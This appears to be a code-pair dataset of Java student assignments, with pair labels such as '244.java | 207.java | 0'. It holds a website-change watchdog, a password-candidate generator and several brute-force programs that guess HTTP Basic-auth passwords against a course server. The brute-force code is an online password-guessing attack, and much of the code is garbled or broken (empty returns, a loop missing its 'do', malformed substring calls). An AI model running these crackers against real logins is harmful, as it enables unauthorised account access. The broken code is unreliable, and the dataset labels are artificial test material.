System.out.println(" [NOTIFY] All images has been checked.");
if (updateNotesFile) { NotesFM.updateNotesFile(imgList, imgLM, imgW, imgH); }
return imgStat;
}
public String[] constructEMailMessage() {
String[] result = null;
String[] openingMsg = { " "+Calendar.getInstance().getTime().toString(),"",
" Dear ,",
"",
" I have DETECTED SOME MODIFICATIONS from the website,",
"" };
String[] txtMsg = { " The list below some TEXT MODIFICATIONS detected:",
" --------------------------------------------------------------",
"" };
String[] remMsg = { "",
"",
" The list below some IMAGE REMOVED FROM URL detected :",
" --------------------------------------------------------------",
"" };
String[] addMsg = { "",
"",
" The list below some IMAGE ADDED URL detected :",
" --------------------------------------------------------------",
"" };
String[] modMsg = { "",
"",
" The list below some IMAGE MODIFICATIONS/ERRORS detected :",
" --------------------------------------------------------------",
"" };
String[] closingMsg = { "",
"",
" Regards,",
"", "",
" WATCHDOG PROGRAM."
};
result = appendArray(result,openingMsg);
if ((textdiff!=null) && (textdiff.length>0)) {
result = appendArray(result, txtMsg);
result = appendArray(result, giveNumberPrefix(textdiff));
}
if ((imgDel!=null) && (imgDel.length>0)) {
result = appendArray(result, remMsg);
result = appendArray(result, giveNumberPrefix(imgDel));
}
if ((imgNew!=null) && (imgNew.length>0)) {
result = appendArray(result, addMsg);
result = appendArray(result, giveNumberPrefix(imgNew));
}
if ((imgMod!=null) && (imgMod.length>0)) {
result = appendArray(result, modMsg);
result = appendArray(result, giveNumberPrefix(imgMod));
}
result = appendArray(result,closingMsg);
return result;
}
public boolean updateCache(boolean firsttime) {
if (firsttime) {
System.out.println(" [OK-FIRST TIME] Downloading the from URL ... ");
}
else {
System.out.println(" [OK-UPDATE] Updating local cache ... ");
}
if (Parser.startParsing()) {
byte[] pageBytes = Parser.getByteArray();
byte[] pageBytesDigested = digest(pageBytes);
saveDigestToFile(DIGESTFILE,pageBytesDigested);
NotesFM.updateNotesFile(Parser.getLastModified());
if (Parser.imageCount()==0) {
System.out.println(" [OK] is IMAGE in the URL");
System.out.println();
Parser.saveLocalPageToFile(PAGEFILE);
System.out.println(" [OK] has been saved file '"+PAGEFILE+"'");
System.out.println();
} else {
String[] imgList = Parser.getImgList();
if (firsttime)
System.out.println(" [OK-FIRST TIME] Local caches created.");
else
System.out.println(" [OK-UPDATE] Local caches updated.");
Parser.saveLocalPageToFile(PAGEFILE);
System.out.println(" [OK] has been saved file '"+PAGEFILE+"'");
System.out.println();
if (firsttime) {
System.out.println(" [OK-FIRST TIME] Local image caches created.");
downloadImages(Parser.getImgList(),true,true);
} else {
System.out.println(" [OK-FIRST TIME] Downloading images of the build local cache ...");
downloadImages(Parser.getImgList(),true,true);
System.out.println(" [OK-UPDATE] Local image caches updated.");
}
}
System.out.println();
return true;
} else return false;
}
public void run() {
boolean textmodified = false;
boolean imagemodified = false;
boolean firsttime = false;
int flag;
textdiff = null;
System.out.println();
System.out.println(" ----------------- [ IT'S CHECKING TIME !! ] ----------------- ");
System.out.println(" Now is "+Calendar.getInstance().getTime());
System.out.println();
System.out.println("1. DETECT TEXT MODIFICATION ");
System.out.println(" Checking the last modified date... ");
Parser = null;
Parser = new HTMLDownloaderAndImgParser(THEURL);
newDate = Parser.getLastModified();
flag = (NotesFM.checkLastModified(newDate));
switch (flag) {
case NotesFileManager.DATE_INVALID: {
textdiff = new String[2];
textdiff[0] = "Cannot open the url '"+THEURL+"'";
textdiff[1] = "--> Possible someone had removed/renamed the file in the URL";
System.out.println(" [ATTENTION] File at the URL CANNOT OPENED !");
System.out.println();
break; }
case NotesFileManager.DATE_FIRST_TIME: {
firsttime = true;
if (!updateCache(true)) {
System.out.println(" [ERROR] File at the URL CANNOT OPENED !");
System.exit(1);
}
break; }
case NotesFileManager.DATE_NOT_SAME: {
textmodified = true;
System.out.println();
System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - TIME DIFFERENT !");
System.out.println();
Parser.startParsing();
break; }
case NotesFileManager.DATE_OK: {
System.out.println(" Comparing text digests ... ");
Parser.startParsing();
byte[] pageBytes = Parser.getByteArray();
byte[] pageBytesDigested = digest(pageBytes);
byte[] fromFile = loadDigestFromFile(DIGESTFILE);
if (compareDigest(fromFile, pageBytesDigested)) {
System.out.println();
System.out.println(" [OK] File in the URL has not been modified.");
System.out.println();
} else {
System.out.println();
System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - FILE DIGEST DIFFERENT !");
System.out.println();
textmodified = true;
}
break; }
}
if (textmodified) {
Parser.saveLocalPageToFile(TEMPFILE);
TextFileComparator comp = new TextFileComparator(PAGEFILE,TEMPFILE);
switch (comp.execute()) {
case 0 : {
System.out.println(" [ATTENTION] TIMESTAMP/DIGEST CHECK DIFFERENT BUT TEXT COMPARISON FOUND DIFFERENCE.");
System.out.println();
textdiff = new String[2];
textdiff[0] = "Timestamp different but text comparison found difference.";
textdiff[1] = "--> Possible someone had modified it but then /she roll it the original file.";
break; }
case 1 : {
textdiff = comp.getDifference();
break; }
}
}
if (flag!=NotesFileManager.DATE_INVALID) {
if (firsttime) {
} else {
System.out.println();
System.out.println("2. DETECT IMAGE MODIFICATION ");
if (Parser.imageCount()==0) {
System.out.println(" [OK] is IMAGE in the URL");
System.out.println();
} else {
NotesFM.classifyImagesToDownload(Parser.getImgList());
imgNew = NotesFM.getNewImages();
imgCom = NotesFM.getCommonImages();
imgDel = NotesFM.getDeletedImages();
imagemodified = ((imgNew!=null) && (imgNew.length>0)) || ((imgDel!=null) && (imgDel.length>0));
imgList = imgCom;
int[] imgStat = downloadImages(imgList,false,false);
imgMod = new String[0];
for (int i=0;i<imgList.length;i++) {
switch (imgStat[i]) {
case ImageDownloader.DOWNLOAD_ERROR: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "Warning: Unable check image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_DATE: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "TIMESTAMP Modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_SIZE: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "SIZE modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_PIXEL: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "PIXEL modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.DOWNLOAD_COMPLETE_OK: {
break; }
}
}
}
}
}
if ((textmodified) || (imagemodified) || ((textdiff!=null) && (textdiff.length>0))) {
String[] mailmsg = constructEMailMessage();
System.out.println();
System.out.println("-> REPORTING/RECORDING CHANGES ");
if ((MAILTARGET==1) || (MAILTARGET==2)) {
System.out.println(" [NOTIFY] Changes detected and has been saved file '"+MAILFILE+"'");
printStrArrayToFile(MAILFILE,mailmsg);
}
if ((MAILTARGET==0) || (MAILTARGET==2)) {
System.out.println(" [NOTIFY] Sending e-mail MYSELF at '"+MYEMAIL+"'");
MailSender ms = new MailSender("watchdog@somewhere.", MYEMAIL, mailmsg);
ms.sendMail();
if (ms.getStatus()==MailSender.SEND_OK) {
System.out.println(" [NOTIFY] E-mail SUCCESSFULLY sent.");
} else {
System.out.println(" [ATTENTION] Error sending e-mail.");
}
}
if (DEBUGMODE) {
System.out.println();
System.out.println();
System.out.println(" This is the e-mail message that has been sent '"+MYEMAIL+"'");
System.out.println(" this message *ONLY* and because in DEBUG MODE");
System.out.println(" =================================================================================");
System.out.println();
for (int i=0;i<mailmsg.length;i++)
System.out.println(mailmsg[i]);
System.out.println();
System.out.println(" =================================================================================");
System.out.println();
System.out.println();
}
updateCache(false);
}
System.out.println();
System.out.println(" Checking completed "+Calendar.getInstance().getTime());
System.out.println(" ----------------- [ CHECKING COMPLETED ] ----------------- ");
System.out.println();
Parser.print();
}
public void finalize() {
System.out.println("Closing the parser object.");
Parser.print();
}
private String[] imgList;
private String[] imgW;
private String[] imgH;
private String[] imgLM;
private String[] imgCom;
private String[] imgDel;
private String[] imgNew;
private String[] imgMod;
private ImageDownloader[] imgDL;
private NotesFileManager NotesFM;
private HTMLDownloaderAndImgParser Parser;
private String[] textdiff;
}
public WatchDog() {
System.out.println("The URL checked is '"+THEURL+"'");
System.out.println("Checking scheduled for every "+INTERVAL+" seconds");
if (DEBUGMODE) {
System.out.println();
System.out.println("PROGRAM RUNS IN DEBUG MODE !");
}
System.out.println();
System.out.println("The notes file is '"+NOTESFILE+"'");
System.out.println("The file is '"+DIGESTFILE+"'");
System.out.println();
java.util.Timer t = new java.util.Timer();
t.schedule(new MyTT(),0,INTERVAL*1000);
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : WatchDog [URL] [Interval] [-debug]");
System.out.println(" URL = (optional) the URL monitored (default : 'http://www.cs.rmit.edu./students/' )");
System.out.println(" Interval = (optional) every [interval] seconds check if is any updates (default 24 x 60 x 60 = 24 hours)");
System.out.println(" -debug = (optional) run this program in debug mode; that is, dump all (html and images local file)");
System.out.println();
}
public static void main(String args[]) {
System.setProperty("java.awt.headless","true");
int argc = args.length;
if (argc>0) {
THEURL = args[0];
try {
url = new URL(THEURL);
conn = (HttpURLConnection) url.openConnection();
conn.getResponseMessage();
conn.getInputStream();
conn.disconnect();
} catch (MalformedURLException e) {
System.out.println();
System.out.println("Invalid URL '"+THEURL+"'");
printSyntax();
System.exit(1);
} catch (UnknownHostException e) {
System.out.println();
System.out.println("Unable open connection the URL '"+THEURL+"'");
printSyntax();
System.exit(1);
} catch (IOException e) {
System.out.println();
System.out.println("Unable open connection the URL '"+THEURL+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
INTERVAL = Integer.valueOf(args[1]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid interval '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc>2) {
if (args[2].toLowerCase().equals("-debug")) {
DEBUGMODE = true;
} else {
System.out.println("Invalid parameter '"+args[2]+"'");
printSyntax();
System.exit(1);
}
}
}
Application = new WatchDog();
}
public static String THEURL = "http://www.cs.rmit.edu./students";
public static String MYEMAIL = "@yallara.cs.rmit.edu.";
public static int MAILTARGET = 2;
public static String SMTPSERVER = "wombat.cs.rmit.edu.";
public static boolean DEBUGMODE = true;
public static String CURDIR = System.getProperty("user.dir");
public static String PAGEFILE = System.getProperty("user.dir")+"/~local.html";
public static String DIGESTFILE = System.getProperty("user.dir")+"/~digest.txt";
public static String TEMPFILE = System.getProperty("user.dir")+"/~.html";
public static String NOTESFILE = System.getProperty("user.dir")+"/~notes.txt";
public static String MAILFILE = System.getProperty("user.dir")+"/~email.txt";
public static final int MAXDIGESTFILE = 65535;
public static final String DIGESTALG = "SHA";
public static URL url;
public static HttpURLConnection conn;
public static int INTERVAL = 24*60*60;
public static int MAXDIFF = 1024;
public static WatchDog Application;
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
244.java | 207.java | 0 |
import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class BruteForce {
public static void main(String[] args) throws IOException {
int start , end, total;
start = System.currentTimeMillis();
String username = "";
String password = null;
String host = "http://sec-crack.cs.rmit.edu./SEC/2/";
String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int lettersLen = letters.length();
int passwordLen=3;
int passwords=0;
int twoChar=0;
url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
String authenticate = "";
String realm = null, domain = null, hostname = null;
header = null;
int responseCode;
String responseMsg;
int temp1=0;
int temp2=0;
int temp3=0;
for (int a=1; a<=passwordLen; a++) {
temp1 = (int) Math.pow(lettersLen, a);
passwords += temp1;
if (a==2) {
twoChar = temp1;
}
}
System.out.println("Brute Attack " + host + " has commenced.");
System.out.println("Number of possible password combinations: " + passwords);
int i=1;
{
try {
URL url = new URL(host);
HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
if(realm != null) {
if ( i < lettersLen) {
password = letters.substring(i, (i+1));
} else if (i < (lettersLen + twoChar)) {
temp1 = i / lettersLen;
password = letters.substring((-1), start );
temp1 = i - ( temp1 * lettersLen);
password = password + letters.substring(temp1, (+1));
} else {
temp2 = i / lettersLen;
temp1 = i - (temp2 * lettersLen);
password = letters.substring(temp1, (+1));
temp3 = temp2;
temp2 = temp2 / lettersLen;
temp1 = temp3 - (temp2 * lettersLen);
password = letters.substring(temp1, (+1)) + password;
temp3 = temp2;
temp2 = temp2 / lettersLen;
temp1 = temp3 - (temp2 * lettersLen);
password = letters.substring(temp1, (+1)) + password;
}
authenticate = username + ":" + password;
authenticate = new String(base.encode(authenticate.getBytes()));
httpConnect.addRequestProperty("Authorization", " " + authenticate);
}
httpConnect.connect();
realm = httpConnect.getHeaderField("WWW-Authenticate");
if (realm != null) {
realm = realm.substring(realm.indexOf('"') + 1);
realm = realm.substring(0, realm.indexOf('"'));
}
hostname = url.getHost();
responseCode = httpConnect.getResponseCode();
responseMsg = httpConnect.getResponseMessage();
if (responseCode == 200) {
end = System.currentTimeMillis();
total = (end - start) / 1000;
System.out.println ("Sucessfully Connected " + url);
System.out.println("Login Attempts Required : " + (i-1));
System.out.println("Time Taken in Seconds : " + total);
System.out.println ("Connection Status : " + responseCode + " " + responseMsg);
System.out.println ("Username : " + username);
System.out.println ("Password : " + password);
System.exit( 0 );
} else if (responseCode == 401 && realm != null) {
if (i > 1) {
}
} else {
System.out.println ("What the?... The server replied with unexpected reponse." );
System.out.println (" Unexpected Error Occured While Attempting Connect " + url);
System.out.println ("Connection Status: " + responseCode + responseMsg);
System.out.println ("Unfortunately the password could not recovered.");
System.exit( 0 );
}
i++;
} catch(MalformedURLException e) {
System.out.println("Opps, the URL " + host + " is not valid.");
System.out.println("Please check the URL and try again.");
} catch(IOException e) {
System.out.println(", 't connect " + host + ".");
System.out.println("Please check the URL and try again.");
System.out.println("Other possible causes include website is currently unavailable");
System.out.println(" have internet connection problem.");
}
} while(realm != null);
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
166.java | 207.java | 0 | package java.httputils;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;
public class RunnableBruteForce extends BruteForce implements Runnable
{
protected int rangeStart, rangeEnd;
protected boolean stop = false;
public RunnableBruteForce()
{
super();
}
public void run()
{
process();
}
public static void main(String[] args)
{
}
public int getRangeEnd()
{
return rangeEnd;
}
public int getRangeStart()
{
return rangeStart;
}
public void setRangeEnd(int i)
{
rangeEnd = i;
}
public void setRangeStart(int i)
{
rangeStart = i;
}
public boolean isStop()
{
return stop;
}
public void setStop(boolean b)
{
stop = b;
}
public void process()
{
String password = "";
System.out.println(Thread.currentThread().getName() +
"-> workload: " +
this.letters[getRangeStart()] + " " +
this.letters[getRangeEnd() - 1]);
setStart(new Timestamp(System.currentTimeMillis()));
for (int i = getRangeStart();
i < getRangeEnd();
i++)
{
System.out.println(Thread.currentThread().getName() +
"-> Trying words beginning with: " +
letters[i]);
for (int i2 = 0;
i2 < letters.length;
i2++)
{
for (int i3 = 0;
i3 < letters.length;
i3++)
{
if (isStop())
{
return;
}
try
{
char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
String pwd = new String(arr);
if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
{
System.out.println(Thread.currentThread().getName() +
"-> Trying password: " +
pwd);
}
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
pwd);
System.out.println("Got the password");
setPassword(pwd);
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
this.setChanged();
this.notifyObservers(this.getContent());
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
058.java | 207.java | 0 |
import java.io.*;
import java.util.*;
import java.net.*;
public class BruteForce {
public BruteForce() {
}
public static void main(String[] args) {
String[] validPW = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M",
"N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };
String attackWP = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
String userID = "";
int trytimes = 0;
int count=52;
String userPassword="";
try {
startmillisecond = System.currentTimeMillis();
for (int i = 0; i < count; i++) {
for (int j = 0; j < count; j++) {
for (int k = 0; k < count; k++) {
trytimes ++;
userPassword = userID + ":" + validPW[i] + validPW[j] + validPW[k];
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
}
for (int i = 0; i < count; i++) {
for (int j = 0; j < count; j++) {
trytimes ++;
userPassword = userID + ":" + validPW[i] + validPW[j];
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
for (int i = 0; i < count; i++) {
userPassword = userID + ":" + validPW[i];
trytimes ++;
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
catch (Exception ioe) {
System.out.println(ioe.getMessage());
}
finally {
}
}
public int attackURL(String userPassword, String attackWP) {
int rtn = 1;
try {
URL url = new URL(attackWP);
System.out.println("User & Password :" + userPassword);
String encoding = Base64Converter.encode (userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
} catch (MalformedURLException e) {
rtn = 2;
System.out.println("Invalid URL");
} catch (IOException e) {
System.out.println("Error URL");
rtn = 2;
}
return rtn;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
